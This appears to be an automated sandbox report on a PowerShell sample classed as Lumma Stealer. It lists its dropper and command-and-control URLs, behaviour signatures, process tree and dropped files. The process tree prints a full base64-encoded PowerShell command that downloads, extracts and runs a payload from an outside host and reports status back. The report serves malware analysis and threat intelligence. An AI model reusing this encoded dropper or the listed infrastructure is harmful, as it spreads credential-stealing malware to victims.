Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
01/06/2024, 22:57
General
- Target 22b607cba20413cd4363dd69d04d7ecda694ce3cf514f965a74c3605c7793248.ps1
- Size 1KB
- Sample240601-2xb6yaad77
- SHA256 22b607cba20413cd4363dd69d04d7ecda694ce3cf514f965a74c3605c7793248
Malware Config
Extracted
-
ps1
-
exe.dropper
https://drinkresources.rest/df/data.zip
-
exe.dropper
https://stats.drinkresources.rest/post.php?status=2
-
exe.dropper
https://stats.drinkresources.rest/post.php?status=3
Extracted
-
lumma
-
https://grazeinnocenttyyek.shop/api
-
https://horsedwollfedrwos.shop/api
-
https://patternapplauderw.shop/api
-
https://understanndtytonyguw.shop/api
-
https://considerrycurrentyws.shop/api
-
https://messtimetabledkolvk.shop/api
-
https://detailbaconroollyws.shop/api
-
https://deprivedrinkyfaiir.shop/api
-
https://relaxtionflouwerwi.shop/api
Signatures
- Lumma Stealer
An infostealer written in C++ first seen in August 2022.
- Blocklisted process makes network request 4 IoCs
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 5 IoCs
- Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\22b607cba20413cd4363dd69d04d7ecda694ce3cf514f965a74c3605c7793248.ps11⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\ipconfig.exe"C:\Windows\system32\ipconfig.exe" /flushdns2⤵
- Gathers network information
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand JAB3ADgAVgAyAHAAWgAgAD0AIAB7AAoAIAAgACAAIAAkAHAANABZADcAawBMACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AaQBuAGkAbQB1AG0AIAAzADEAMAAwACAALQBNAGEAeABpAG0AdQBtACAANQAxADAAMAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgACQAcAA0AFkANwBrAEwACgAgACAAIAAgAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAIAAtAGIAbwByACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADEAIAAtAGIAbwByACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAgAC0AYgBvAHIAIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFMAcwBsADMACgAgACAAIAAgACQAdQAzAE4ANgBiAEMAIAA9ACAAOAA7ACAAJABzADUAWAA5AGUAUgAgAD0AIAAxADUAOwAgACQAYQA4AFQANABtAFcAIAA9ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AaQBtAHUAbQAgACQAdQAzAE4ANgBiAEMAIAAtAE0AYQB4AGkAbQB1AG0AIAAoACQAcwA1AFgAOQBlAFIAIAArACAAMQApAAoAIAAgACAAIAAkAG8AOQBMADEAcQBKACAAPQAgACcAYQBiAGMAZABlAGYAZwBoAGkAagBrAGwAbQBuAG8AcABxAHIAcwB0AHUAdgB3AHgAeQB6AEEAQgBDAEQARQBGAEcASABJAEoASwBMAE0ATgBPAFAAUQBSAFMAVABVAFYAVwBYAFkAWgAwADEAMgAzADQANQA2ADcAOAA5ACcACgAgACAAIAAgACQAZAA1AEsAOAB4AFEAIAA9ACAALQBqAG8AaQBuACAAKAAxAC4ALgAkAGEAOABUADQAbQBXACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAG8AOQBMADEAcQBKAC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAH0AKQAKACAAIAAgACAAJAByADcAUAAzAGMASAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQACAAIgAkAGQANQBLADgAeABRACIAOwAgAE4AZQB3AC0ASQB0AGUAbQAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAFAAYQB0AGgAIAAkAHIANwBQADMAYwBIACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAG0ANgBFADQAagBWACAAPQAgAC0AagBvAGkAbgAgACgAMQAuAC4AJABhADgAVAA0AG0AVwAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ASQBuAHAAdQB0AE8AYgBqAGUAYwB0ACAAJABvADkATAAxAHEASgAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB9ACkAIAArACAAJwAuAHoAaQBwACcACgAgACAAIAAgACQAegAzAEcAOAB3AEYAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AGsAYwBtAGwAdQBhADMASgBsAGMAMgA5ADEAYwBtAE4AbABjAHkANQB5AFoAWABOADAATAAyAFIAbQBMADIAUgBoAGQARwBFAHUAZQBtAGwAdwAnACkAKQAKACAAIAAgACAAJABrADQAVgA5AGoATQAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAcgA3AFAAMwBjAEgAIAAkAG0ANgBFADQAagBWADsAIAAkAHQANQBXADIAbwBEACAAPQAgAEAAewAgACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACAAPQAgACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAEsASABUAE0ATAAsACAAbABpAGsAZQAgAEcAZQBjAGsAbwApACAAQwBoAHIAbwBtAGUALwAyADMALgAwAC4AMAAuADAAIABTAGEAZgBhAHIAaQAvADUAMwA3AC4AMwA2ACcAIAB9AAoAIAAgACAAIAB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB6ADMARwA4AHcARgAgAC0ATwB1AHQARgBpAGwAZQAgACQAawA0AFYAOQBqAE0AIAAtAEgAZQBhAGQAZQByAHMAIAAkAHQANQBXADIAbwBEACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAawA0AFYAOQBqAE0AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAeAA0AFQAMgByAEYAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AHoAZABHAEYAMABjAHkANQBrAGMAbQBsAHUAYQAzAEoAbABjADIAOQAxAGMAbQBOAGwAYwB5ADUAeQBaAFgATgAwAEwAMwBCAHYAYwAzAFEAdQBjAEcAaAB3AFAAMwBOADAAWQBYAFIAMQBjAHoAMAB5ACcAKQApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB4ADQAVAAyAHIARgAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAJAB0ADUAVwAyAG8ARAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAYgByAGUAYQBrAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUAIAB9AAoAIAAgACAAIAB9AAoAIAAgACAAIABFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIAAkAGsANABWADkAagBNACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AUABhAHQAaAAgACQAcgA3AFAAMwBjAEgAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIACgAgACAAIAAgACQAbgA4AFUANAB0AFMAIAA9ACAAJABmAGEAbABzAGUACgAgACAAIAAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHIANwBQADMAYwBIACAALQBGAGkAbAB0AGUAcgAgACoALgBlAHgAZQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAaQAzAEoANgBwAFgAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwAKACAAIAAgACAAIAAgACAAIAAkAGkAMwBKADYAcABYAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACQAXwAuAEYAdQBsAGwATgBhAG0AZQAKACAAIAAgACAAIAAgACAAIAAkAHkAMgBIADUAdgBRACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMACgAgACAAIAAgACAAIAAgACAAJAB5ADIASAA1AHYAUQAuAFMAdABhAHIAdABJAG4AZgBvACAAPQAgACQAaQAzAEoANgBwAFgACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHkAMgBIADUAdgBRAC4AUwB0AGEAcgB0ACgAKQApACAAewAgACQAbgA4AFUANAB0AFMAIAA9ACAAJAB0AHIAdQBlACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAkAG4AOABVADQAdABTACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACQAdQAxAEsANQB5AFoAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AHoAZABHAEYAMABjAHkANQBrAGMAbQBsAHUAYQAzAEoAbABjADIAOQAxAGMAbQBOAGwAYwB5ADUAeQBaAFgATgAwAEwAMwBCAHYAYwAzAFEAdQBjAEcAaAB3AFAAMwBOADAAWQBYAFIAMQBjAHoAMAB6ACcAKQApAAoAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAMQBLADUAeQBaACAALQBNAGUAdABoAG8AZAAgAFAATwBTAFQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAHQANQBXADIAbwBEACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAB9AAoAfQAKACQAdwA4AFYAMgBwAFoALgBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJAB3ADgAVgAyAHAAWgAgAD0AIABbAHMAYwByAGkAcAB0AGIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACcAZQB4ACcAKwAnAGkAdAAnACkAOwAgACYAJAB3ADgAVgAyAHAAWgA=2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\v1Z0wxWMyZQzM\WinNc.exe"C:\Users\Admin\AppData\Local\Temp\v1Z0wxWMyZQzM\WinNc.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Fj_update_v5\WinNc.exeC:\Users\Admin\AppData\Roaming\Fj_update_v5\WinNc.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\FOP_Authv3.au3C:\Users\Admin\AppData\Local\Temp\FOP_Authv3.au36⤵
- Loads dropped DLL
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
iconcache_idx.db
StartupProfileData-NonInteractive
__PSScriptPolicyTest_0la4dwkj.h1p.ps1
7z.dll
Changes.txt
Colors.ini
Drive.ico
Drive_.ico
Find.ico
Find_.ico
Lang_de.ini
Lang_es.ini
Lang_fa.ini
Lang_fr.ini
Lang_it.ini
Lang_ko.ini
Lang_nl.ini
Lang_ru.ini
Lang_sv.ini
Lang_tr.ini
Lang_uk.ini
Lang_zh.ini
Sfx_en.bin
Startup.xml
State.ico
State_.ico
VirtualFolder.ico
VirtualFolder_.ico
WinNc.exe
WinNcDataFolder.reg
WinNcIconsFlat.icl
brunch.deb
burn.ico
burn_.ico
chalcocite.accdb
ftp.ico
ftp_.ico
help_en.ini
lang_cz.ini
lang_en.ini
lang_hu.ini
lang_pl.ini
unrar64.dll
memory/1460-235-0x00007FFA845C0000-0x00007FFA84732000-memory.dmp
memory/1460-237-0x00007FFA845C0000-0x00007FFA84732000-memory.dmp
memory/1460-236-0x0000000000400000-0x0000000001BD3000-memory.dmp
memory/1648-156-0x00007FFA701F0000-0x00007FFA70362000-memory.dmp
memory/1648-216-0x0000000000400000-0x0000000001BD3000-memory.dmp
memory/1764-242-0x0000000074DF0000-0x0000000074F6B000-memory.dmp
memory/1764-240-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp
memory/2160-247-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp
memory/2160-248-0x0000000000240000-0x000000000029C000-memory.dmp
memory/4520-11-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/4520-17-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/4520-13-0x000001E8E5EC0000-0x000001E8E6082000-memory.dmp
memory/4520-15-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/4520-12-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/4520-16-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/4520-0-0x00007FFA75253000-0x00007FFA75255000-memory.dmp
memory/4520-14-0x000001E8E65C0000-0x000001E8E6AE8000-memory.dmp
memory/4520-1-0x000001E8E57F0000-0x000001E8E5812000-memory.dmp
memory/4520-20-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/4620-22-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/4620-34-0x000001D665AC0000-0x000001D666266000-memory.dmp
memory/4620-36-0x000001D6656E0000-0x000001D6656F2000-memory.dmp
memory/4620-37-0x000001D665660000-0x000001D66566A000-memory.dmp
memory/4620-119-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp
memory/4620-132-0x00007FFA75250000-0x00007FFA75D11000-memory.dmp